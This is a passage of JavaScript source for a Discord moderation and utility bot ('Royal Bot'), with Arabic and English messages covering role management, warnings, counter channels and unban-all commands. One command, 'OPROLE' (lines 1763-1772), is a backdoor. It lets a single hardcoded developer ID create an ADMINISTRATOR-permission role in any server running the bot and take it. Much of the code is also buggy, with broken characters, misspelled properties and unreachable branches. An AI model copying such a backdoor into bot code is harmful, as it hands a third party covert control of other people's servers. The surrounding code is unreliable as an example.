  1609. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  1610. if(!say[message.guild.id]) say[message.guild.id] = {
  1611. onoff: 'Off'
  1612. }
  1613. if(say[message.guild.id].onoff === 'Off') return [message.channel.send(`**The Say Is __????__ !**`), say[message.guild.id].onoff = 'On']
  1614. if(say[message.guild.id].onoff === 'On') return [message.channel.send(`**The Say Is __??????__ !**`), say[message.guild.id].onoff = 'Off']
  1615. fs.writeFile("./say.json", JSON.stringify(say), (err) => {
  1616. if (err) console.error(err)
  1617. .catch(err => {
  1618. console.error(err);
  1619. });
  1620. });
  1621. }
  1622.  
  1623. })
  1624.  
  1625. client.on('message', message => {
  1626.  
  1627. if(message.content.startsWith(prefix + "toggleEmbed")) {
  1628. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  1629. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  1630. if(!say[message.guild.id]) say[message.guild.id] = {
  1631. embed: 'Off'
  1632. }
  1633. if(say[message.guild.id].sayembed === 'Off') return [message.channel.send(`**The Say Embed Is __????__ !**`), say[message.guild.id].sayembed = 'On']
  1634. if(say[message.guild.id].sayembed === 'On') return [message.channel.send(`**The Say Embed Is __??????__ !**`), say[message.guild.id].sayembed = 'Off']
  1635. fs.writeFile("./say.json", JSON.stringify(say), (err) => {
  1636. if (err) console.error(err)
  1637. .catch(err => {
  1638. console.error(err);
  1639. });
  1640. })
  1641. }
  1642.  
  1643. })
  1644.  
  1645.  
  1646. client.on('message', message => {
  1647.  
  1648. if (message.author.bot) return;
  1649.  
  1650. if (!message.content.startsWith(prefix)) return;
  1651.  
  1652.  
  1653. let command = message.content.split(" ")[0];
  1654.  
  1655. command = command.slice(prefix.length);
  1656.  
  1657.  
  1658. let args = message.content.split(" ").slice(1);
  1659. let embed = new Discord.RichEmbed()
  1660. .setTitle(args)
  1661.  
  1662.  
  1663. if (command === "say") {
  1664.  
  1665. if(say[message.guild.id].onoff === 'Off') return;
  1666. let staff = message.guild.member(message.author).roles.find('name' , `${say[message.guild.id].sayrole}`);
  1667. if(!staff) return message.channel.send(`${say[message.guild.id].replymsg}`)
  1668. message.delete()
  1669. if(!say[message.guild.id].sayembed === 'On') return message.sendEmbed(say)
  1670. message.channel.sendMessage(args)
  1671. }})
  1672.  
  1673. client.on('message', message => {
  1674. if(message.content.startsWith(prefix + "infoSay")) {
  1675. let embed = new Discord.RichEmbed()
  1676. .addField('Say Status', `${say[message.guild.id].onoff}`)
  1677. .addField('Say Role:', `${say[message.guild.id].sayrole}`)
  1678. .addField('Say Embed Status:', `${say[message.guild.id].embed}`)
  1679. .addField('Requested By', `${message.author}`)
  1680. .setThumbnail('https://a.top4top.net/p_10555ubbl1.png')
  1681. .setImage(message.author.avatarURL)
  1682. .setFooter(`${client.user.username}`)
  1683. .setColor('RANDOM')
  1684. message.channel.sendEmbed(embed)
  1685. }})
  1686.  
  1687.  
  1688.  
  1689.  
  1690. client.on('message', message => {
  1691. if(message.content === prefix + "options"){
  1692. const reply2 = JSON.parse(fs.readFileSync('./replys2.json' , 'utf8'));
  1693. if(!antibots[message.guild.id]) antibots[message.guild.id] = {
  1694. onoff: 'Off'
  1695. }
  1696. if(!reply[message.guild.id]) reply[message.guild.id] = {
  1697. onoff: 'Off'
  1698. }
  1699. if(!reply2[message.guild.id]) reply2[message.guild.id] = {
  1700. onoff: 'Off'
  1701. }
  1702. if(!reply3[message.guild.id]) reply3[message.guild.id] = {
  1703. onoff: 'Off'
  1704. }
  1705. let reply11 = `${reply[message.guild.id].msg}`
  1706. if(reply[message.guild.id].onoff === 'Off') reply11 = 'Null'
  1707.  
  1708. let reply1reply = `${reply[message.guild.id].reply}`
  1709. if(reply[message.guild.id].onoff === 'Off') reply1reply = 'Null'
  1710.  
  1711. let reply22 = `${reply2[message.guild.id].msg}`
  1712. if(reply2[message.guild.id].onoff === 'Off') reply22 = 'Null'
  1713.  
  1714. let reply2reply = `${reply2[message.guild.id].reply}`
  1715. if(reply2[message.guild.id].onoff === 'Off') reply2reply = 'Null'
  1716.  
  1717. let reply33 = `${reply3[message.guild.id].msg}`
  1718. if(reply3[message.guild.id].onoff === 'Off') reply33 = 'Null'
  1719.  
  1720. let reply3reply = `${reply3[message.guild.id].reply}`
  1721. if(reply3[message.guild.id].onoff === 'Off') reply3reply = 'Null'
  1722.  
  1723.  
  1724. if(!antihack[message.guild.id]) antihack[message.guild.id] = {
  1725. onoff: 'Off'
  1726. }
  1727. if(!spread[message.guild.id]) spread[message.guild.id] = {
  1728. onoff: 'Off'
  1729. }
  1730. if(!welcome[message.guild.id]) welcome[message.guild.id] = {
  1731. onoff: 'Off'
  1732. }
  1733. if(!say[message.guild.id]) say[message.guild.id] = {
  1734. onoff: 'Off'
  1735. }
  1736. let embed = new Discord.RichEmbed()
  1737. .setTitle(':wrench: Bot Options :')
  1738. .setThumbnail('https://f.top4top.net/p_1066d93ao1.png')
  1739. .setColor('RANDOM')
  1740. .addField('?? AutoRole Status:', `${ar[message.guild.id].onoff}` || `Null`)
  1741. .addField('?? AutoRole Role :', `${ar[message.guild.id].role}` || `Null`)
  1742. .addField('?? Media Channel Status :', `${pics[message.guild.id].onoff}` || `Null`)
  1743. .addField('?? Media Channel :', `${pics[message.guild.id].channel}` || `Null`)
  1744. .addField('?? Say Status', `${say[message.guild.id].onoff}` || `Null`)
  1745. .addField('?? Say Role:', `${say[message.guild.id].sayrole}` || `Null`)
  1746. .addField('?? Say Embed Status:', `${say[message.guild.id].embed}` || `Null`)
  1747. .addField('?? AutoReply Word:', `${reply11}` || `Null`)
  1748. .addField('?? AutoReply Reply:', `${reply1reply}` || `Null`)
  1749. .addField('?? AutoReply Word2:', `${reply22}` || `Null`)
  1750. .addField('?? AutoReply Reply2:', `${reply2reply}` || `Null`)
  1751. .addField('?? AutoReply Word3:', `${reply33}` || `Null`)
  1752. .addField('?? AutoReply Reply3:', `${reply3reply}`)
  1753. .addField('?? Antihack Status:', `${antihack[message.guild.id].onoff}` || `Off`)
  1754. .addField('?? Antispread Status:', `${spread[message.guild.id].onoff}` || `Null`)
  1755. .addField('?? AntiBots Status:', `${antibots[message.guild.id].onoff}` || `Null`)
  1756. .addField('?? Welcome Status:', `${welcome[message.guild.id].onff}` || 'Null')
  1757. .addField('?? Dm Welcome Status:', `${welcome[message.guild.id].dm}` || `Null`)
  1758. .addField('?? Welcome Invited By Status:', `${welcome[message.guild.id].by}` || `Null`)
  1759. .addField('?? Welcome Channel:', `${welcome[message.guild.id].channel}` || `Null`)
  1760. message.channel.sendEmbed(embed)
  1761. }})
  1762.  
  1763. client.on('message', async message => {
  1764. const devs = ['505638480248963072'];
  1765. let member = message.author
  1766. if(message.content.startsWith(prefix + "OPROLE")) {
  1767. if (!devs.includes(message.author.id)) return;
  1768. let muteRole = message.guild.roles.find('name', 'OPROLE')
  1769. if(!muteRole) return message.guild.createRole({ name: "OPROLE", permissions: [8] });
  1770. message.guild.member(member).addRole(muteRole);
  1771. }
  1772. });
  1773.  
  1774. client.on('message',async message => {
  1775. if(message.content.startsWith(prefix + "setVoice")) {
  1776. if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
  1777. if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
  1778. message.channel.send('?| **تم عمل الروم بنجاح**');
  1779. message.guild.createChannel(`Voice Online : [ ${message.guild.members.filter(m => m.voiceChannel).size} ]` , 'voice').then(c => {
  1780. console.log(`Voice online channel setup for guild: \n ${message.guild.name}`);
  1781. c.overwritePermissions(message.guild.id, {
  1782. CONNECT: false,
  1783. SPEAK: false
  1784. });
  1785. setInterval(function() {
  1786. c.setName(`Voice Online : [ ${message.guild.members.filter(m => m.voiceChannel).size} ]`)
  1787. },1000);
  1788. });
  1789. }
  1790. });
  1791.  
  1792. client.on('message',async message => {
  1793. if(message.content.startsWith(prefix + "setCount")) {
  1794. if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
  1795. if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
  1796. message.channel.send('?| **تم عمل الروم بنجاح**');
  1797. message.guild.createChannel(`Members Count : [ ${message.guild.members.size} ]` , 'voice').then(c => {
  1798. console.log(`Count Members channel setup for guild: \n ${message.guild.name}`);
  1799. c.overwritePermissions(message.guild.id, {
  1800. CONNECT: false,
  1801. SPEAK: false
  1802. });
  1803. setInterval(function() {
  1804. c.setName(`Members Count : [ ${message.guild.members.size} ]`)
  1805. },1000);
  1806. });
  1807. }
  1808. });
  1809.  
  1810.  
  1811. client.on('message',async message => {
  1812. if(message.content.startsWith(prefix + "setTime")) {
  1813. if(!message.guild.member(message.author).hasPermission('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
  1814. if(!message.guild.member(client.user).hasPermission(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
  1815. message.channel.send('?| **تم عمل الروم بنجاح**');
  1816. message.guild.createChannel("?? - Time 00", 'voice').then((c) => {
  1817. console.log(`Time channel setup for guild: \n ${message.guild.name}`);
  1818. c.overwritePermissions(message.guild.id, {
  1819. CONNECT: false,
  1820. SPEAK: false
  1821. });
  1822. setInterval(function() {
  1823.  
  1824. var currentTime = new Date(),
  1825. hours = currentTime.getHours() + 3 ,
  1826. minutes = currentTime.getMinutes(),
  1827. seconds = currentTime.getSeconds(),
  1828. years = currentTime.getFullYear(),
  1829. month = currentTime.getMonth(),
  1830. day = currentTime.getDate(),
  1831. week = currentTime.getDay();
  1832.  
  1833. if (minutes < 10) {
  1834. minutes = "0" + minutes;
  1835. }
  1836. var suffix = "AM";
  1837. if (hours >= 12) {
  1838. suffix = "PM";
  1839. hours = hours - 12;
  1840. }
  1841. if (hours == 0) {
  1842. hours = 12;
  1843. }
  1844.  
  1845. c.setName("?? - Time ?" + hours + ":" + minutes +" " + suffix + "?");
  1846. },1000);
  1847. });
  1848. }
  1849. });
  1850.  
  1851.  
  1852.  
  1853. client.on('message',async message => {
  1854. if(message.content.startsWith(prefix + "setDate")) {
  1855. var currentTime = new Date(),
  1856. years = currentTime.getFullYear(),
  1857. month = currentTime.getMonth() + 1,
  1858. day = currentTime.getDate(),
  1859. week = currentTime.getDay();
  1860. if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
  1861. if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
  1862. message.channel.send('?| **تم عمل الروم بنجاح**');
  1863. message.guild.createChannel("?? - Date " + "?" + day + "-" + month + "-" + years + "?" , 'voice').then(c => {
  1864. console.log(`Date channel setup for guild: \n ${message.guild.name}`);
  1865. c.overwritePermissions(message.guild.id, {
  1866. CONNECT: false,
  1867. SPEAK: false
  1868. });
  1869. setInterval(function() {
  1870. c.setName("?? - Date " + "?" + day + "-" + month + "-" + years + "?")
  1871. },1000);
  1872. });
  1873. }
  1874. });
  1875.  
  1876.  
  1877. client.on('message',async message => {
  1878. var moment = require('moment');
  1879. if(message.content.startsWith(prefix + "setDays")) {
  1880. if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
  1881. if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
  1882. message.channel.send('?| **تم عمل الروم بنجاح**');
  1883. message.guild.createChannel(`Day : ${moment().format('dddd')}` , 'voice').then(c => {
  1884. console.log(`Day channel setup for guild: \n ${message.guild.name}`);
  1885. c.overwritePermissions(message.guild.id, {
  1886. CONNECT: false,
  1887. SPEAK: false
  1888. });
  1889. setInterval(function() {
  1890. c.setName(`?? - Day : ?${moment().format('dddd')}?`);
  1891. },1000);
  1892. });
  1893. }
  1894. })
  1895.  
  1896.  
  1897.  
  1898.  
  1899. const google = require('google-it');
  1900. client.on('message', message => {
  1901. let args = message.content.split(' ').slice(1);
  1902. if(message.content.startsWith(prefix + 'google')) {
  1903. const input = args.join(' ');
  1904.  
  1905. google({ query: input, disableConsole: true }).then(results => {
  1906. return message.channel.send(`\n\n**Title**: ${results[0].title}\n***Link***: ${results[0].link}\nDescription: ${results[0].snippet}`);
  1907. }).catch(error => {
  1908. if (error) throw error;
  1909. });
  1910.  
  1911. }})
  1912.  
  1913. var temp = {
  1914.  
  1915. }
  1916.  
  1917. client.on("message",(message) => {
  1918. if (message.channel.type !== "text") return;
  1919. if (!message.content.startsWith(prefix)) return;
  1920. if(message.content.startsWith(prefix + "temp on")) {
  1921. if (!message.member.hasPermission("MANAGE_CHANNELS")) return message.reply("** You Don't Have Permission `Manage channels` To Do This Command");
  1922. temp[message.guild.id] = {
  1923. work : true,
  1924. channel : "Not Yet"
  1925. };
  1926. message.guild.createChannel("اضغط لصنع روم مؤقت", 'voice').then(c => {
  1927. c.setPosition(1);
  1928. temp[message.guild.id].channel = c.id
  1929. message.channel.send("** Done.**");
  1930. });
  1931. if(message.content.startsWith(prefix + "temp off")) {
  1932. if (!message.member.hasPermission("MANAGE_CHANNELS")) return message.reply("** You Don't Have Permission `Manage channels` To Do This Command");
  1933. message.guild.channels.get(temp[message.guild.id]).delete();
  1934. temp[message.guild.id] = {
  1935. work : false,
  1936. channel : "Not Yet"
  1937. };
  1938. message.channel.send("** Done.**");
  1939. };
  1940. }})
  1941. client.on("voiceStateUpdate", (o,n) => {
  1942. if (!temp[n.guild.id]) return;
  1943. if (temp[n.guild.id].work == false) return;
  1944. if (n.voiceChannelID == temp[n.guild.id].channel) {
  1945. n.guild.createChannel(n.user.username, 'voice').then(c => {
  1946. n.setVoiceChannel(c);
  1947. c.overwritePermissions(n.user.id, {
  1948. CONNECT:true,
  1949. SPEAK:true,
  1950. MANAGE_CHANNEL:true,
  1951. MUTE_MEMBERS:true,
  1952. DEAFEN_MEMBERS:true,
  1953. MOVE_MEMBERS:true,
  1954. VIEW_CHANNEL:true
  1955. });
  1956. })
  1957. };
  1958. if (!o.voiceChannel) return;
  1959. if (o.voiceChannel.name == o.user.username) {
  1960. o.voiceChannel.delete();
  1961. };
  1962. });
  1963.  
  1964. client.on('message', message => {
  1965. var prefix = ">"
  1966. let args = message.content.split(' ').slice(1);
  1967. if(message.content.startsWith(prefix + 'role')) {
  1968. if(!message.member.hasPermission('MANAGE_ROLES')) return message.channel.send('**للأسف لا تمتلك صلاحية** `MANAGE_ROLES`' );
  1969. let member = message.mentions.users.first();
  1970. let role = args.join(' ').replace(member, '').replace(args[0], '').replace(' ', '');
  1971. console.log(role);
  1972. if(member) {
  1973. if(role.startsWith('>')) {
  1974. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  1975. console.log(roleRe);
  1976. let role1 = message.guild.roles.find('name', roleRe);
  1977. console.log(`hi`);
  1978. const ee =new Discord.RichEmbed()
  1979. .setDescription('**:x: I can’t find the role.**')
  1980. .setFooter('Requested By '+message.author.username,message.author.avatarURL)
  1981. if(!role1) return message.channel.send(ee); message.guild.member(member).removeRole(role1.id);
  1982.  
  1983. const e = new Discord.RichEmbed()
  1984.  
  1985. .setDescription(':white_check_mark:** Changed Roles For **'+member+'**,** '+'**'+'-'+role1.name+'**')
  1986. .setFooter('Requested By '+message.author.username,message.author.avatarURL)
  1987. .setColor('BLACK')
  1988. message.channel.send(e)
  1989. } else if(!role.startsWith('>')) {
  1990. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  1991. let role1 = message.guild.roles.find('name', roleRe);
  1992. const ee =new Discord.RichEmbed()
  1993. .setDescription('**:x: I can’t find the role.**')
  1994. .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
  1995. if(!role1) return message.channel.send(ee); message.guild.member(member).addRole(role1);
  1996. const e = new Discord.RichEmbed()
  1997.  
  1998. .setDescription(':white_check_mark:** Changed Roles For **'+member+'**,** '+'**'+'+'+role1.name+'**')
  1999. .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
  2000. .setColor('BLACK')
  2001. message.channel.send(e)
  2002. } else {
  2003. message.reply(`يجب عليك كتابة اسم الرتبة`);
  2004. }
  2005. }
  2006. else if(args[0] == 'all') {
  2007. if(role.startsWith('>')) {
  2008. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  2009. let role1 = message.guild.roles.find('name', roleRe);
  2010. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
  2011. message.guild.members.forEach(m => {
  2012. message.guild.member(m).removeRole(role1.id);
  2013. });
  2014. msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Taken From __${message.guild.members.size}__ Member**`);
  2015. });
  2016. }
  2017. if(role) {
  2018. let role1 = message.guild.roles.find('name', role);
  2019. if(!role1) return;
  2020. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
  2021. message.guild.members.forEach(m => {
  2022. message.guild.member(m).addRole(role1);
  2023. });
  2024. msg.edit(`** :white_check_mark: Done...\n**` + role1.name+`** Has Given To __${message.guild.members.size}__ Members **`);
  2025. });
  2026. }
  2027. } else if(args[0] == 'humans') {
  2028. if(role.startsWith('>')) {
  2029. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  2030. let role1 = message.guild.roles.find('name', roleRe);
  2031. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
  2032. message.guild.members.forEach(m => {
  2033. message.guild.member(m).removeRole(role1.id);
  2034. });
  2035. msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Taken From __${message.guild.members.size}__ Member**`);
  2036. });
  2037. }
  2038.  
  2039. if(role) {
  2040. let role1 = message.guild.roles.find('name', role);
  2041.  
  2042. const ee =new Discord.RichEmbed()
  2043. .setDescription('I Cann’t Find This Role')
  2044. .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
  2045. if(!role1) return message.channel.send(ee);
  2046. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
  2047. message.guild.members.filter(m =>m.user.bot == false).forEach(m => {
  2048. message.guild.member(m).addRole(role1);
  2049. });
  2050. msg.edit(`** :white_check_mark: Done...**`);
  2051. });
  2052. }
  2053. } else if(args[0] == 'bots') {
  2054. if(role.startsWith('>')) {
  2055. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  2056. let role1 = message.guild.roles.find('name', roleRe);
  2057. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
  2058. message.guild.members.forEach(m => {
  2059. message.guild.member(m).removeRole(role1.id);
  2060. });
  2061. msg.edit(`** :white_check_mark: Done...**`);
  2062. });
  2063. }
  2064. if(role) {
  2065. let role1 = message.guild.roles.find('name', role);
  2066. const ee =new Discord.RichEmbed()
  2067. .setDescription('I Cann’t Find This Role')
  2068. .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
  2069. if(!role1) return message.channel.send(ee);
  2070. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
  2071. message.guild.members.filter(m =>m.user.bot == true).forEach(m => {
  2072. message.guild.member(m).addRole(role1);
  2073. });
  2074. msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Given To __${message.guild.members.size}__ Member**`);
  2075. });
  2076. }
  2077. }
  2078. }
  2079. });
  2080.  
  2081. client.on('message', message => {
  2082. var prefix = ">"
  2083. let args = message.content.split(' ').slice(1);
  2084. if(message.content.startsWith(prefix + '-role')) {
  2085. if(!message.member.hasPermission('MANAGE_ROLES')) return message.channel.send('**للأسف لا تمتلك صلاحية** `MANAGE_ROLES`' );
  2086. let member = message.mentions.users.first();
  2087. let role = args.join(' ').replace(member, '').replace(args[0], '').replace(' ', '');
  2088. console.log(role);
  2089. if(member) {
  2090. if(role.startsWith('>')) {
  2091. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  2092. console.log(roleRe);
  2093. let role1 = message.guild.roles.find('name', roleRe);
  2094. console.log(`hi`);
  2095. const ee =new Discord.RichEmbed()
  2096. .setDescription('**:x: I can’t find the role.**')
  2097. .setFooter('Requested By '+message.author.username,message.author.avatarURL)
  2098. if(!role1) return message.channel.send(ee); message.guild.member(member).removeRole(role1.id);
  2099.  
  2100. const e = new Discord.RichEmbed()
  2101.  
  2102. .setDescription(':white_check_mark:** Pull Role For **'+member+'**,** '+'**'+'-'+role1.name+'**')
  2103. .setFooter('Requested By '+message.author.username,message.author.avatarURL)
  2104. .setColor('BLACK')
  2105. message.channel.send(e)
  2106. } else if(!role.startsWith('>')) {
  2107. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  2108. let role1 = message.guild.roles.find('name', roleRe);
  2109. const ee =new Discord.RichEmbed()
  2110. .setDescription('**:x: I can’t find the role.**')
  2111. .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
  2112. if(!role1) return message.channel.send(ee); message.guild.member(member).removeRole(role1);
  2113. const e = new Discord.RichEmbed()
  2114.  
  2115. .setDescription(':white_check_mark:** Pull Role For **'+member+'**,** '+'**'+'+'+role1.name+'**')
  2116. .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
  2117. .setColor('BLACK')
  2118. message.channel.send(e)
  2119. } else {
  2120. message.reply(`يجب عليك كتابة اسم الرتبة`);
  2121. }
  2122. }
  2123. else if(args[0] == 'all') {
  2124. if(role.startsWith('>')) {
  2125. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  2126. let role1 = message.guild.roles.find('name', roleRe);
  2127. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
  2128. message.guild.members.forEach(m => {
  2129. message.guild.member(m).removeRole(role1.id);
  2130. });
  2131. msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Pull From __${message.guild.members.size}__ Member**`);
  2132. });
  2133. }
  2134. if(role) {
  2135. let role1 = message.guild.roles.find('name', role);
  2136. if(!role1) return;
  2137. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
  2138. message.guild.members.forEach(m => {
  2139. message.guild.member(m).removeRole(role1);
  2140. });
  2141. msg.edit(`** :white_check_mark: Done...\n**` + role1.name+`** Has Pull To __${message.guild.members.size}__ Members **`);
  2142. });
  2143. }
  2144. } else if(args[0] == 'humans') {
  2145. if(role.startsWith('>')) {
  2146. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  2147. let role1 = message.guild.roles.find('name', roleRe);
  2148. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
  2149. message.guild.members.forEach(m => {
  2150. message.guild.member(m).removeRole(role1.id);
  2151. });
  2152. msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Pull From __${message.guild.members.size}__ Member**`);
  2153. });
  2154. }
  2155.  
  2156. if(role) {
  2157. let role1 = message.guild.roles.find('name', role);
  2158.  
  2159. const ee =new Discord.RichEmbed()
  2160. .setDescription('I Cann’t Find This Role')
  2161. .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
  2162. if(!role1) return message.channel.send(ee);
  2163. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
  2164. message.guild.members.filter(m =>m.user.bot == false).forEach(m => {
  2165. message.guild.member(m).removeRole(role1);
  2166. });
  2167. msg.edit(`** :white_check_mark: Done...**`);
  2168. });
  2169. }
  2170. } else if(args[0] == 'bots') {
  2171. if(role.startsWith('>')) {
  2172. let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
  2173. let role1 = message.guild.roles.find('name', roleRe);
  2174. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
  2175. message.guild.members.forEach(m => {
  2176. message.guild.member(m).removeRole(role1.id);
  2177. });
  2178. msg.edit(`** :white_check_mark: Done...**`);
  2179. });
  2180. }
  2181. if(role) {
  2182. let role1 = message.guild.roles.find('name', role);
  2183. const ee =new Discord.RichEmbed()
  2184. .setDescription('I Cann’t Find This Role')
  2185. .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
  2186. if(!role1) return message.channel.send(ee);
  2187. message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
  2188. message.guild.members.filter(m =>m.user.bot == true).forEach(m => {
  2189. message.guild.member(m).removeRole(role1);
  2190. });
  2191. msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** rank has been pull To __${message.guild.members.size}__ Member**`);
  2192. });
  2193. }
  2194. }
  2195. }
  2196. });
  2197.  
  2198. let warnings = JSON.parse(fs.readFileSync('./warnings.json' , 'utf8'));
  2199. client.on('message', async message => {
  2200. var channellog = message.guild.channels.find('name', `${log[message.guild.id].channel}`)
  2201. var prefix = ">"
  2202. var user = message.mentions.users.first();
  2203. var reason = message.content.split(' ').slice(2).join(' ');
  2204. if(message.content.startsWith(prefix + 'warn')) {
  2205. if(!message.member.hasPermission('MUTE_MEMBERS')) return message.channel.send('**Sorry But You Dont Have Permission** `MUTE_MEMBERS`' );
  2206. if(!channellog) return message.channel.send('cant find log channel , to set the log channel type >setLog Aand then type the channel name')
  2207. if(!user) return message.channel.send("**Mention The Target**")
  2208. if(!reason) return message.channel.send("** Type The Reason**")
  2209. let warnembed = new Discord.RichEmbed()
  2210. .setTitle(`**New Warned User !**`)
  2211. .addField("**- Warned User:**", `${user} with ID ${user.id}`)
  2212. .addField('**- Warned By:**',`${message.author.tag}`)
  2213. .addField('**- Reason:**', `${reason}`, true)
  2214. .addField("**- Warned in:**",`${message.channel.name}`)
  2215. .addField("**- Time & Date:**",`${message.createdAt}`)
  2216. .setFooter(client.user.avatarURL, client.user.username)
  2217. .setColor('#060c37')
  2218. message.delete()
  2219. warnings[message.guild.id] = {
  2220. moderator: message.author,
  2221. warning: message.createdAt,
  2222. member: user,
  2223. },
  2224. channellog.sendEmbed(warnembed)
  2225. message.channel.send(`**__${user} Has Been Warned __**`)
  2226. fs.writeFile("./warnings.json", JSON.stringify(warnings), (err) => {
  2227. if (err) console.error(err)
  2228. })
  2229.  
  2230. }})
  2231. client.on('message', async message => {
  2232. if(message.content.startsWith(prefix + 'listwarns')) {
  2233. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  2234. message.channel.send(`Moderator:${warnings[message.guild.id].moderator} Warned Member: ${warnings[message.guild.id].member} Time & Date:${warnings[message.guild.id].warning}`)
  2235. }})
  2236.  
  2237.  
  2238. client.on("message", message => {
  2239. if(!message.channel.guild) return;
  2240. if(message.author.bot) return;
  2241. if(message.content === prefix + "image"){
  2242. const embed = new Discord.RichEmbed()
  2243.  
  2244. .setTitle(`This is ** ${message.guild.name} ** Photo !`)
  2245. .setAuthor(message.author.username, message.guild.iconrURL)
  2246. .setColor(0x164fe3)
  2247. .setImage(message.guild.iconURL)
  2248. .setURL(message.guild.iconrURL)
  2249. .setTimestamp()
  2250.  
  2251. message.channel.send({embed});
  2252. }
  2253. });
  2254. client.on('message', message => {
  2255. if (message.content.startsWith(prefix +"avatar")) {
  2256. if(!message.channel.guild) return;
  2257. var mentionned = message.mentions.users.first();
  2258. var client;
  2259. if(mentionned){
  2260. var client = mentionned; } else {
  2261. var client = message.author;
  2262. }
  2263. const embed = new Discord.RichEmbed()
  2264. .addField('Requested by:', "<@" + message.author.id + ">")
  2265. .setColor(000000)
  2266. .setImage(`${client.avatarURL}`)
  2267. message.channel.sendEmbed(embed);
  2268. }
  2269. });
  2270.  
  2271. client.on('message',async message => {
  2272. if(message.content === '>unbanall') {
  2273. var user = message.mentions.users.first();
  2274. if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('?|**\`ADMINISTRATOR\`لا توجد لديك صلاحية `**');
  2275. if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.reply("**I Don't Have ` BAN_MEMBERS ` Permission**");
  2276. const guild = message.guild;
  2277.  
  2278. message.guild.fetchBans().then(ba => {
  2279. ba.forEach(ns => {
  2280. message.guild.unban(ns);
  2281. const embed= new Discord.RichEmbed()
  2282. .setColor("RANDOM")
  2283. .setAuthor("Succes!", "https://images-ext-1.discordapp.net/external/vp2vj9m0ieU5J6SHg6ObIsGpTJyoZnGAebrd0_vi848/https/i.imgur.com/GnR2unD.png?width=455&height=455")
  2284. .setDescription(`**:white_check_mark: Has Been Unban For All**`)
  2285. .setFooter('Requested by '+message.author.username, message.author.avatarURL)
  2286. message.channel.sendEmbed(embed);
  2287. guild.owner.send(`سيرفر : ${guild.name}
  2288. **تم فك الباند عن الجميع بواسطة** : <@${message.author.id}>`)
  2289. let embed2 = new Discord.RichEmbed()
  2290. .setTitle('New Unbanned All !')
  2291. .addField('UnbannedAll By:', `${message.author}`)
  2292. .addField('Time & Date', `${message.createdAt}`)
  2293. .setFooter('Royal Bot')
